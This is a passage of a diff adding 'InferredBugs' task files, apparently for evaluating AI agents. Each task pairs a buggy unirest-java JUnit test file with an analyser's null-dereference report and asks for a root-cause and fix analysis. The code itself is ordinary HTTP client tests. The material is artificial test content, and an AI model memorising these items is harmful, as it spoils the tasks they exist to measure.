+		HttpRequest httpRequest = Unirest.post("test").field("z", "Z").field("y", "Y").field("x", "X").getHttpRequest();
+
+		InputStream content = httpRequest.getBody().getEntity().getContent();
+		String body = IOUtils.toString(content, "UTF-8");
+		assertEquals("x=X&y=Y&z=Z", body);
+	}
+
+	@Test
+	public void testHeaderNamesCaseSensitive() {
+		// Verify that header names are the same as server (case sensitive)
+		final Headers headers = new Headers();
+		headers.put("Content-Type", Arrays.asList("application/json"));
+
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("cOnTeNt-TyPe"));
+		assertEquals("Only header \"Content-Type\" should exist", null, headers.getFirst("content-type"));
+		assertEquals("Only header \"Content-Type\" should exist", "application/json", headers.getFirst("Content-Type"));
+	}
+
+
+	private String findAvailableIpAddress() throws IOException {
+		for (int i = 100; i <= 255; i++) {
+			String ip = "192.168.1." + i;
+			if (!InetAddress.getByName(ip).isReachable(1000)) {
+				return ip;
+			}
+		}
+
+		throw new RuntimeException("Couldn't find an available IP address in the range of 192.168.0.100-255");
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `response.getBody()` could be null and is dereferenced at line 199.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testGetFields2()
+
+### Procedure Id:
+io.github.openunirest.http.UnirestTest.testGetFields2():void.7a9915b67a2e6a918a6a060f0c278128
+
+### File:
+src/test/java/io/github/openunirest/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testGetFields2|NULL_DEREFERENCE
+
+### Node Key:
+dc678d91476904c7b1b2af11d980af71
+
+### Hash:
+605a7966255146bcd7d0a488757eea08
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6659/instruction.md b/inferredbugs-6659/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..70bc2e5a20daee9c1c855f864ca07d494ec11509
--- /dev/null
+++ b/inferredbugs-6659/instruction.md
@@ -0,0 +1,164 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright (c) 2013 Mashape (http://mashape.com)
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+*/
+
+package com.mashape.unirest.test.http;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+
+import org.json.JSONException;
+import org.junit.Test;
+
+import com.mashape.unirest.http.HttpResponse;
+import com.mashape.unirest.http.JsonNode;
+import com.mashape.unirest.http.Unirest;
+
+public class UnirestTest {
+
+	@Test
+	public void testRequests() throws JSONException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post")
+													 .header("accept", "application/json")
+													 .field("param1", "value1")
+													 .field("param2","bye")
+													 .asJson();
+		
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getCode());
+		
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+	
+	
+	@Test
+	public void testAsync() throws JSONException, InterruptedException, ExecutionException {
+		Future<HttpResponse<JsonNode>> future = Unirest.post("http://httpbin.org/post")
+				 .header("accept", "application/json")
+				 .field("param1", "value1")
+				 .field("param2","bye")
+				 .asJsonAsync();
+		
+		assertNotNull(future);
+		HttpResponse<JsonNode> jsonResponse = future.get();
+		
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getCode());
+		
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `jsonResponse.getHeaders()` could be null and is dereferenced at line 78.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UnirestTest.testAsync()
+
+### Procedure Id:
+com.mashape.unirest.test.http.UnirestTest.testAsync():void.a4fd18513bc7093c2ffa7a26010ffc4a
+
+### File:
+src/test/java/com/mashape/unirest/test/http/UnirestTest.java
+
+### Key:
+UnirestTest.java|testAsync|NULL_DEREFERENCE
+
+### Node Key:
+18086a76ec6f499138a84f176568ec09
+
+### Hash:
+797fbb1db759f340b74d1e0a6e78043e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6660/instruction.md b/inferredbugs-6660/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cf5fcb164997e7f72ab58565b6be25c79b529f56
--- /dev/null
+++ b/inferredbugs-6660/instruction.md
@@ -0,0 +1,934 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** unirest-java
+**Bug ID:** 12
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+The MIT License
+
+Copyright for portions of OpenUnirest/uniresr-java are held by Mashape (c) 2013 as part of Kong/unirest-java.
+All other copyright for OpenUnirest/unirest-java are held by OpenUnirest (c) 2018.
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+ */
+
+package io.github.openunirest.http;
+
+import io.github.openunirest.http.async.Callback;
+import io.github.openunirest.http.options.Options;
+import io.github.openunirest.request.body.MultipartBody;
+import io.github.openunirest.http.exceptions.UnirestException;
+import io.github.openunirest.request.GetRequest;
+import io.github.openunirest.request.HttpRequest;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.http.entity.ContentType;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.impl.nio.client.HttpAsyncClientBuilder;
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.*;
+
+import java.io.*;
+import java.net.InetAddress;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.concurrent.*;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import static org.junit.Assert.*;
+
+public class UnirestTest {
+
+	private CountDownLatch lock;
+	private boolean status;
+
+	@BeforeClass
+	public static void suiteSetUp(){
+		MockServer.start();
+	}
+
+	@AfterClass
+	public static void suiteTearDown(){
+		MockServer.shutdown();
+	}
+
+	@Before
+	public void setUp() {
+		MockServer.reset();
+		lock = new CountDownLatch(1);
+		status = false;
+	}
+
+	@Test
+	public void postFormReturnJson() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post(MockServer.POST)
+				.header("accept", "application/json")
+				.field("param1", "value1")
+				.field("param2", "bye")
+				.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		RequestCapture json = TestUtils.read(jsonResponse, RequestCapture.class);
+		json.assertHeader("Accept", "application/json");
+		json.assertQuery("param1", "value1");
+		json.assertQuery("param2", "bye");
+	}
+
+	@Test
+	public void canPassQueryParamsOnStringOrWithForm() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=mark")
+				.header("accept", "application/json")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("name", "mark");
+
+		response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("name", "mark2")
+				.asJson();
+
+		json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("name", "mark2");
+	}
+
+	@Test
+	public void multipleParams() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON + "?name=ringo")
+				.header("accept", "application/json")
+				.queryString("name", "paul")
+				.queryString("name", "john")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("name", "ringo");
+		json.assertQuery("name", "paul");
+		json.assertQuery("name", "john");
+	}
+
+	@Test
+	public void testGetUTF8() {
+		HttpResponse<JsonNode> response = Unirest.get(MockServer.GETJSON)
+				.header("accept", "application/json")
+				.queryString("param3", "こんにちは")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostUTF8() {
+		HttpResponse response = Unirest.post(MockServer.POST)
+				.header("accept", "application/json")
+				.field("param3", "こんにちは")
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("param3", "こんにちは");
+	}
+
+	@Test
+	public void testPostBinaryUTF8() throws URISyntaxException {
+		HttpResponse<JsonNode> response = Unirest.post(MockServer.POST)
+				.header("Accept", ContentType.MULTIPART_FORM_DATA.getMimeType())
+				.field("param3", "こんにちは")
+				.field("file", new File(getClass().getResource("/test").toURI()))
+				.asJson();
+
+		RequestCapture json = TestUtils.read(response, RequestCapture.class);
+		json.assertQuery("param3", "こんにちは");
+		json.getFile("test").assertBody("This is a test file");
+	}
+
+	@Test
+	public void testPostRawBody() {
+		String sourceString = "'\"@こんにちは-test-123-" + Math.random();
+		byte[] sentBytes = sourceString.getBytes();
+
+		HttpResponse<JsonNode> response = Unirest.post("http://httpbin.org/post").body(sentBytes).asJson();
+
+		assertEquals(sourceString, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testCustomUserAgent() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get?name=mark").header("user-agent", "hello-world").asJson();
+		assertEquals("hello-world", response.getBody().getObject().getJSONObject("headers").getString("User-Agent"));
+
+		GetRequest getRequest = Unirest.get("http");
+		for (Object current : Arrays.asList(0, 1, 2)) {
+			getRequest.queryString("name", current);
+		}
+
+	}
+
+	@Test
+	public void testGetMultiple() throws JSONException, UnirestException {
+		for (int i = 1; i <= 20; i++) {
+			HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get?try=" + i).asJson();
+			assertEquals(response.getBody().getObject().getJSONObject("args").getString("try"), ((Integer) i).toString());
+		}
+	}
+
+	@Test
+	public void testGetFields() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("name", "mark").queryString("nick", "thefosk").asJson();
+		assertEquals(response.getBody().getObject().getJSONObject("args").getString("name"), "mark");
+		assertEquals(response.getBody().getObject().getJSONObject("args").getString("nick"), "thefosk");
+	}
+
+	@Test
+	public void testGetFields2() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString("email", "hello@hello.com").asJson();
+		assertEquals("hello@hello.com", response.getBody().getObject().getJSONObject("args").getString("email"));
+	}
+
+	@Test
+	public void testQueryStringEncoding() throws JSONException, UnirestException {
+		String testKey = "email2=someKey&email";
+		String testValue = "hello@hello.com";
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/get").queryString(testKey, testValue).asJson();
+		assertEquals(testValue, response.getBody().getObject().getJSONObject("args").getString(testKey));
+	}
+
+	@Test
+	public void testDelete() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").asJson();
+		assertEquals(200, response.getStatus());
+
+		response = Unirest.delete("http://httpbin.org/delete").field("name", "mark").asJson();
+		assertEquals("mark", response.getBody().getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testDeleteBody() throws JSONException, UnirestException {
+		String body = "{\"jsonString\":{\"members\":\"members1\"}}";
+		HttpResponse<JsonNode> response = Unirest.delete("http://httpbin.org/delete").body(body).asJson();
+		assertEquals(200, response.getStatus());
+		assertEquals(body, response.getBody().getObject().getString("data"));
+	}
+
+	@Test
+	public void testBasicAuth() throws JSONException, UnirestException {
+		HttpResponse<JsonNode> response = Unirest.get("http://httpbin.org/headers").basicAuth("user", "test").asJson();
+		assertEquals("Basic dXNlcjp0ZXN0", response.getBody().getObject().getJSONObject("headers").getString("Authorization"));
+	}
+
+	@Test
+	public void testAsync() throws JSONException, InterruptedException, ExecutionException {
+		Future<HttpResponse<JsonNode>> future = Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync();
+
+		assertNotNull(future);
+		HttpResponse<JsonNode> jsonResponse = future.get();
+
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+	}
+
+	@Test
+	public void testAsyncCallback() throws JSONException, InterruptedException {
+		Unirest.post("http://httpbin.org/post").header("accept", "application/json").field("param1", "value1").field("param2", "bye").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> jsonResponse) {
+				assertTrue(jsonResponse.getHeaders().size() > 0);
+				assertTrue(jsonResponse.getBody().toString().length() > 0);
+				assertFalse(jsonResponse.getRawBody() == null);
+				assertEquals(200, jsonResponse.getStatus());
+
+				JsonNode json = jsonResponse.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("value1", json.getObject().getJSONObject("form").getString("param1"));
+				assertEquals("bye", json.getObject().getJSONObject("form").getString("param2"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipart() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartContentType() throws JSONException, URISyntaxException, UnirestException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/image.jpg").toURI()), "image/jpeg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:image/jpeg"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentType() throws JSONException, URISyntaxException, FileNotFoundException {
+		FileInputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		MultipartBody request = Unirest.post(MockServer.HOST + "/post")
+            .header("accept", ContentType.MULTIPART_FORM_DATA.toString())
+			.field("name", "Mark")
+			.field("file", stream, ContentType.APPLICATION_OCTET_STREAM, "image.jpg");
+
+		HttpResponse<JsonNode> jsonResponse = request
+			.asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+
+		RequestCapture json = TestUtils.read(jsonResponse, RequestCapture.class);
+		json.assertHeader("Accept", ContentType.MULTIPART_FORM_DATA.toString());
+		json.assertQuery("name", "Mark");
+		assertEquals("application/octet-stream", json.getFile("image.jpg").type);
+
+
+//		assertTrue(json.getObject().getJSONObject("files").getString("type").contains("application/octet-stream"));
+//		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartInputStreamContentTypeAsync() throws JSONException, InterruptedException, URISyntaxException, FileNotFoundException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new FileInputStream(new File(getClass().getResource("/test").toURI())), ContentType.APPLICATION_OCTET_STREAM, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartByteContentType() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/image.jpg").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "image.jpg").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertNotNull(json.getObject());
+		assertNotNull(json.getArray());
+		assertEquals(1, json.getArray().length());
+		assertNotNull(json.getArray().get(0));
+		assertNotNull(json.getObject().getJSONObject("files"));
+
+		assertTrue(json.getObject().getJSONObject("files").getString("file").contains("data:application/octet-stream"));
+		assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+	}
+
+	@Test
+	public void testMultipartByteContentTypeAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, IOException {
+		final InputStream stream = new FileInputStream(new File(getClass().getResource("/test").toURI()));
+		final byte[] bytes = new byte[stream.available()];
+		stream.read(bytes);
+		stream.close();
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", bytes, "test").asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testMultipartAsync() throws JSONException, InterruptedException, ExecutionException, URISyntaxException, UnirestException {
+		Unirest.post("http://httpbin.org/post").field("name", "Mark").field("file", new File(getClass().getResource("/test").toURI())).asJsonAsync(new Callback<JsonNode>() {
+
+			public void failed(UnirestException e) {
+				fail();
+			}
+
+			public void completed(HttpResponse<JsonNode> response) {
+				assertTrue(response.getHeaders().size() > 0);
+				assertTrue(response.getBody().toString().length() > 0);
+				assertFalse(response.getRawBody() == null);
+				assertEquals(200, response.getStatus());
+
+				JsonNode json = response.getBody();
+				assertFalse(json.isArray());
+				assertNotNull(json.getObject());
+				assertNotNull(json.getArray());
+				assertEquals(1, json.getArray().length());
+				assertNotNull(json.getArray().get(0));
+
+				assertEquals("This is a test file", json.getObject().getJSONObject("files").getString("file"));
+				assertEquals("Mark", json.getObject().getJSONObject("form").getString("name"));
+
+				status = true;
+				lock.countDown();
+			}
+
+			public void cancelled() {
+				fail();
+			}
+
+		});
+
+		lock.await(10, TimeUnit.SECONDS);
+		assertTrue(status);
+	}
+
+	@Test
+	public void testGzip() throws JSONException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testGzipAsync() throws JSONException, InterruptedException, ExecutionException {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/gzip").asJsonAsync().get();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(json.getObject().getBoolean("gzipped"));
+	}
+
+	@Test
+	public void testDefaultHeaders() throws JSONException {
+		Unirest.setDefaultHeader("X-Custom-Header", "hello");
+		Unirest.setDefaultHeader("user-agent", "foobar");
+
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getHeaders().size() > 0);
+		assertTrue(jsonResponse.getBody().toString().length() > 0);
+		assertFalse(jsonResponse.getRawBody() == null);
+		assertEquals(200, jsonResponse.getStatus());
+
+		JsonNode json = jsonResponse.getBody();
+		assertFalse(json.isArray());
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", json.getObject().getJSONObject("headers").getString("X-Custom-Header"));
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("User-Agent"));
+		assertEquals("foobar", json.getObject().getJSONObject("headers").getString("User-Agent"));
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertTrue(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+		assertEquals("hello", jsonResponse.getBody().getObject().getJSONObject("headers").getString("X-Custom-Header"));
+
+		Unirest.clearDefaultHeaders();
+
+		jsonResponse = Unirest.get("http://httpbin.org/headers").asJson();
+		assertFalse(jsonResponse.getBody().getObject().getJSONObject("headers").has("X-Custom-Header"));
+	}
+
+	@Test
+	public void testSetTimeouts() throws IOException {
+		String address = "http://" + findAvailableIpAddress() + "/";
+		long start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > Options.CONNECTION_TIMEOUT + 100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+		Unirest.setTimeouts(2000, 10000);
+		start = System.currentTimeMillis();
+		try {
+			Unirest.get("http://" + address + "/").asString();
+		} catch (Exception e) {
+			if (System.currentTimeMillis() - start > 2100) { // Add 100ms for code execution
+				fail();
+			}
+		}
+	}
+
+	@Test
+	public void testPathParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.get("http://httpbin.org/{method}").routeParam("method", "get").queryString("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testQueryAndBodyParameters() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.post("http://httpbin.org/{method}").routeParam("method", "post").queryString("name", "Mark").field("wot", "wat").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("args").getString("name"), "Mark");
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("wot"), "wat");
+	}
+
+	@Test
+	public void testPathParameters2() {
+		HttpResponse<JsonNode> jsonResponse = Unirest.patch("http://httpbin.org/{method}").routeParam("method", "patch").field("name", "Mark").asJson();
+
+		assertEquals(200, jsonResponse.getStatus());
+		assertEquals("OK", jsonResponse.getStatusText());
+		assertEquals(jsonResponse.getBody().getObject().getJSONObject("form").getString("name"), "Mark");
+	}
+
+	@Test
+	public void testMissingPathParameter() {
+		try {
+			Unirest.get("http://httpbin.org/{method}").routeParam("method222", "get").queryString("name", "Mark").asJson();
+			fail();
+		} catch (RuntimeException e) {
+			// OK
+		}
+	}
+
+	@Test
+	public void parallelTest() throws InterruptedException {
+		Unirest.setConcurrency(10, 5);
+
+		long start = System.currentTimeMillis();
+		makeParallelRequests();
+		long smallerConcurrencyTime = (System.currentTimeMillis() - start);
+
+		Unirest.setConcurrency(200, 20);
+		start = System.currentTimeMillis();
+		makeParallelRequests();
+		long higherConcurrencyTime = (System.currentTimeMillis() - start);
+
+		assertTrue(higherConcurrencyTime < smallerConcurrencyTime);
+	}
+
+	private void makeParallelRequests() throws InterruptedException {
+		ExecutorService newFixedThreadPool = Executors.newFixedThreadPool(10);
+		final AtomicInteger counter = new AtomicInteger(0);
+		for (int i = 0; i < 200; i++) {
+			newFixedThreadPool.execute(() -> {
+                try {
+                    Unirest.get(MockServer.HOST + "/get").queryString("index", counter.incrementAndGet()).asString();
+                } catch (UnirestException e) {
+                    throw new RuntimeException(e);
+                }
